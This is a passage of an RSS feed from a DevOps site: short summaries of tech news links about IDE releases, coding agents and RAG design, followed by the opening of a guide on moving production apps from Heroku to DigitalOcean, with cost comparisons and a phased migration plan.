          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-insiders-version-1111"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what is new in Visual Studio Code 1.111 (Insiders) Read the full article</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_111"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-vs-code-is-becoming-an-agent-control-plane-and-most-teams-havent-noticed-yet" class="group relative scroll-mt-24">
        <a href="#h3-vs-code-is-becoming-an-agent-control-plane-and-most-teams-havent-noticed-yet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 VS Code Is Becoming an Agent Control Plane — and Most Teams Haven’t Noticed Yet
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vs-code-is-becoming-an-agent-control-plane-and-most-teams-havent-noticed-yet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>VS Code 1.110 ships agent plugins, hooks, and persistent memory. Microsoft is embedding control plane primitives into the IDE for AI agent governance.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/vs-code-is-becoming-an-agent-control-plane-and-most-teams-havent-noticed-yet/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tcp-connections-with-dap-debuggers-different-formats-for-numeric-values-and-more-in-clion-20261-eap" class="group relative scroll-mt-24">
        <a href="#h3-tcp-connections-with-dap-debuggers-different-formats-for-numeric-values-and-more-in-clion-20261-eap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TCP Connections With DAP Debuggers, Different Formats for Numeric Values, and More in CLion 2026.1 EAP
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tcp-connections-with-dap-debuggers-different-formats-for-numeric-values-and-more-in-clion-20261-eap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Early Access Program (EAP) for CLion 2026.1 is nearing its end, bringing a range of improvements to debugging capabilities, build tools, project formats, and more. This post is a brief overview of</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/clion/2026/03/dap-via-tcp/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-coding-agent-for-jira-connects-planning-to-pull-requests-without-leaving-your-workflow" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-coding-agent-for-jira-connects-planning-to-pull-requests-without-leaving-your-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot Coding Agent for Jira Connects Planning to Pull Requests Without Leaving Your Workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-coding-agent-for-jira-connects-planning-to-pull-requests-without-leaving-your-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub Copilot, the coding agent, now integrates with Jira. Assign issues to Copilot and get draft PRs — no context switching between planning and code.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/github-copilot-coding-agent-for-jira-connects-planning-to-pull-requests-without-leaving-your-workflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-five-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Latest DevOps Jobs report highlights opportunities at Lenovo, IBM, Yale and Weights &amp; Measures. Find out more here.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/five-great-devops-job-opportunities-179/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-vibe-code-full-stack-apps-fast-with-tanstack-start" class="group relative scroll-mt-24">
        <a href="#h3-vibe-code-full-stack-apps-fast-with-tanstack-start" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Vibe code full-stack apps fast with TanStack Start
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vibe-code-full-stack-apps-fast-with-tanstack-start"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It’s no secret that it’s gotten significantly easier to build applications in the last few years. And vibe coding is The post Vibe code full-stack apps fast with TanStack Start appeared first on The N</p>
<p><strong>📅 Mar 8, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/tanstack-start-vibe-coding/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-snowflake-cortex-code-cli-adds-dbt-and-apache-airflow-support-for-ai-powered-data-pipelines" class="group relative scroll-mt-24">
        <a href="#h3-snowflake-cortex-code-cli-adds-dbt-and-apache-airflow-support-for-ai-powered-data-pipelines" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Snowflake Cortex Code CLI adds dbt and Apache Airflow support for AI-powered data pipelines
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-snowflake-cortex-code-cli-adds-dbt-and-apache-airflow-support-for-ai-powered-data-pipelines"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snowflake Cortex Code CLI, Snowflake’s coding agent that was announced at the end of February, recently added support for dbt The post Snowflake Cortex Code CLI adds dbt and Apache Airflow support for</p>
<p><strong>📅 Mar 8, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/snowflake-cortex-code-dbt-airflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-susecon-2026-what-to-expect-in-prague-this-april" class="group relative scroll-mt-24">
        <a href="#h3-susecon-2026-what-to-expect-in-prague-this-april" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSECON 2026: What to Expect in Prague This April
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-susecon-2026-what-to-expect-in-prague-this-april"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SUSECON 2026 is next month, and the agenda is taking shape in a way that reflects exactly what enterprise IT professionals are experiencing right now: keeping up with the pressure to modernize, naviga</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/susecon-2026-what-to-expect-in-prague-this-april/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-speeding-up-analytics-with-databao" class="group relative scroll-mt-24">
        <a href="#h3-speeding-up-analytics-with-databao" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Speeding up analytics with Databao
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-speeding-up-analytics-with-databao"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guja is currently an analytics engineer at Carnival Maritime, one of the world’s largest leisure travel and cruise companies. As one of our first alpha users, Guja tried Databao’s context engine, a CL</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/databao/2026/03/guja-customer-story/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-java-annotated-monthly-march-2026" class="group relative scroll-mt-24">
        <a href="#h3-java-annotated-monthly-march-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Java Annotated Monthly – March 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-java-annotated-monthly-march-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A lot is happening in tech and beyond, and as we step into March, we have pulled together a fresh batch of articles, thought pieces, and videos to help you learn, connect, and see things from new angl</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/03/java-annotated-monthly-march-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-planning-the-design-of-your-production-grade-rag-system" class="group relative scroll-mt-24">
        <a href="#h3-planning-the-design-of-your-production-grade-rag-system" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Planning the design of your production-grade RAG system
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-planning-the-design-of-your-production-grade-rag-system"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In our previous article Context as architecture: A practical look at retrieval-augmented generation, we treated retrieval-augmented generation (RAG) as an architectural idea. We explored why retrieval</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/planning-design-your-production-grade-rag-system"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-march-6-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-march-6-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — March 6, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-march-6-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat MWC Barcelona NewsroomFollow Red Hat&#39;s news from the world’s largest mobile industry event including customers and partners like Bell Canada, Telenor AI Factory, Telefónica, NVIDIA and more. L</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-march-6-2026-red-hat"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Migrating from Heroku to DigitalOcean]]></title>
      <link>https://devops-daily.com/posts/migrating-from-heroku-to-digitalocean</link>
      <description><![CDATA[A complete guide to migrating production applications from Heroku to DigitalOcean. Covers App Platform, Managed Databases, Redis, Spaces, Coolify self-hosted, and infrastructure-as-code setup with real-world migration strategies.]]></description>
      <pubDate>Sun, 08 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/migrating-from-heroku-to-digitalocean</guid>
      <category><![CDATA[Cloud]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DigitalOcean]]></category><category><![CDATA[Heroku]]></category><category><![CDATA[Cloud Migration]]></category><category><![CDATA[App Platform]]></category><category><![CDATA[Managed Database]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Infrastructure]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Migrating from Heroku to DigitalOcean can reduce infrastructure costs by 60-80% with App Platform, or 90%+ with Coolify self-hosted. DigitalOcean&#39;s App Platform provides a comparable developer experience to Heroku with git-based deployments, auto-scaling, and zero-downtime deploys. For maximum savings, Coolify offers a self-hosted alternative running on a single $24/month Droplet supporting multiple apps. Combined with Managed Databases, Spaces (S3-compatible storage), and managed services, you get Heroku-like simplicity at a fraction of the cost. This guide walks through both paths with production migration strategies and minimal downtime.</p>
<hr>
<h2 id="h2-why-migrate-from-heroku-to-digitalocean" class="group relative scroll-mt-24">
        <a href="#h2-why-migrate-from-heroku-to-digitalocean" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Migrate from Heroku to DigitalOcean?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-migrate-from-heroku-to-digitalocean"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-cost-comparison-real-numbers" class="group relative scroll-mt-24">
        <a href="#h3-cost-comparison-real-numbers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Comparison: Real Numbers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cost-comparison-real-numbers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Typical Production Heroku Setup</strong>:</p>
<ul>
<li>2× Performance-M dynos (web): $50/month each = $100/month</li>
<li>1× Performance-M dyno (worker): $50/month</li>
<li>Standard-0 Postgres: $50/month</li>
<li>Premium-0 Redis: $15/month</li>
<li>Review apps (2 active): $30/month</li>
<li><strong>Total: $245/month</strong></li>
</ul>
<p>For a more demanding workload:</p>
<ul>
<li>4× Performance-L dynos (web): $500/month each = $2,000/month</li>
<li>2× Performance-L dynos (workers): $1,000/month</li>
<li>Standard-4 Postgres: $200/month</li>
<li>Premium-5 Redis: $350/month</li>
<li><strong>Total: $3,550/month</strong></li>
</ul>
<p><strong>Equivalent DigitalOcean Setup (Basic)</strong>:</p>
<ul>
<li>App Platform: 2× Professional instances ($24/month each) = $48/month</li>
<li>Managed Database (PostgreSQL): Basic plan = $15/month</li>
<li>Managed Redis: Basic plan = $15/month</li>
<li>Spaces (object storage): $5/month + transfer</li>
<li><strong>Total: $83/month</strong></li>
<li><strong>Savings: 66% ($162/month)</strong></li>
</ul>
<p><strong>Equivalent DigitalOcean Setup (High-Performance)</strong>:</p>
<ul>
<li>App Platform: 4× Professional instances ($48/month for larger) = $192/month</li>
<li>App Platform workers: 2× instances = $96/month</li>
<li>Managed Database: Production plan (4GB RAM) = $60/month</li>
<li>Managed Redis: Production plan = $60/month</li>
<li>Spaces: $5/month</li>
<li><strong>Total: $413/month</strong></li>
<li><strong>Savings: 88% ($3,137/month)</strong></li>
</ul>
<p>Beyond cost, you gain:</p>
<ul>
<li>More predictable pricing (no dyno sleep, clearer resource limits)</li>
<li>Better performance per dollar (dedicated resources, not shared containers)</li>
<li>Infrastructure flexibility (VPCs, Kubernetes, Droplets when needed)</li>
<li>S3-compatible object storage included</li>
</ul>
<p><strong>Alternative: Coolify on DigitalOcean Droplet (Even Cheaper)</strong>:</p>
<p><a href="https://coolify.io">Coolify</a> is an open-source, self-hostable Heroku/Netlify alternative that you can deploy on a single DigitalOcean Droplet. It provides git-based deployments, automatic SSL, and built-in database management.</p>
<ul>
<li>1× Droplet (4GB RAM, 2 vCPUs): $24/month</li>
<li>PostgreSQL (on same Droplet): $0 (self-hosted)</li>
<li>Redis (on same Droplet): $0 (self-hosted)</li>
<li>Object storage: Spaces $5/month (optional, can use Droplet storage)</li>
<li><strong>Total: $24-29/month</strong></li>
<li><strong>Savings: 88-90% vs Heroku</strong> ($216-221/month saved)</li>
</ul>
<p><strong>Coolify Trade-offs</strong>:</p>
<ul>
<li>✅ <strong>Pros</strong>: Lowest cost, full control, Docker-based deployments, multiple apps per server</li>
<li>⚠️ <strong>Cons</strong>: Self-managed (you handle backups, updates, scaling), single point of failure (unless you set up HA)</li>
<li>🎯 <strong>Best for</strong>: Small teams (&lt;5 apps), budget-conscious startups, developers comfortable with server management</li>
</ul>
<p><strong>When to choose Coolify over App Platform</strong>:</p>
<ul>
<li>You&#39;re running 3+ small apps (share one Droplet)</li>
<li>You want maximum cost savings and don&#39;t mind managing servers</li>
<li>Your apps fit comfortably on a single server (no need for auto-scaling yet)</li>
<li>You&#39;re comfortable with Docker and Linux administration</li>
</ul>
<hr>
<h2 id="h2-migration-strategy-zero-downtime-approach" class="group relative scroll-mt-24">
        <a href="#h2-migration-strategy-zero-downtime-approach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migration Strategy: Zero-Downtime Approach
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-migration-strategy-zero-downtime-approach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-phase-1-parallel-infrastructure-week-1" class="group relative scroll-mt-24">
        <a href="#h3-phase-1-parallel-infrastructure-week-1" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 1: Parallel Infrastructure (Week 1)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-1-parallel-infrastructure-week-1"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run DigitalOcean infrastructure alongside Heroku without switching traffic.</p>
<p><strong>Goal</strong>: Validate that DigitalOcean setup works with production data.</p>
<p><strong>Steps</strong>:</p>
<ol>
<li>Set up DigitalOcean Managed Database (PostgreSQL/MySQL)</li>
<li>Configure replication from Heroku Postgres to DigitalOcean</li>
<li>Deploy application to App Platform (no public traffic yet)</li>
<li>Test functionality with read-replica data</li>
<li>Monitor performance and identify issues</li>
</ol>
<p><strong>Risk</strong>: Low. Heroku remains primary, DigitalOcean is shadow environment.</p>
<h3 id="h3-phase-2-database-migration-week-2" class="group relative scroll-mt-24">
        <a href="#h3-phase-2-database-migration-week-2" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 2: Database Migration (Week 2)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-2-database-migration-week-2"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Move database to DigitalOcean with minimal downtime.</p>
<p><strong>Strategy</strong>: Use logical replication + cutover window.</p>
<p><strong>Steps</strong>:</p>
<ol>
<li>Set up continuous replication (Heroku → DigitalOcean)</li>
<li>Let replication catch up (monitor lag)</li>
<li>Schedule maintenance window (typically 5-15 minutes)</li>
<li>Stop writes to Heroku</li>
<li>Wait for replication to fully sync</li>
<li>Update Heroku app DATABASE_URL to point to DigitalOcean</li>
<li>Resume traffic</li>
</ol>
<p><strong>Downtime</strong>: 5-15 minutes (writes only, reads can continue)</p>
<h3 id="h3-phase-3-application-migration-week-3" class="group relative scroll-mt-24">
        <a href="#h3-phase-3-application-migration-week-3" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 3: Application Migration (Week 3)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-3-application-migration-week-3"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Move application traffic to App Platform.</p>
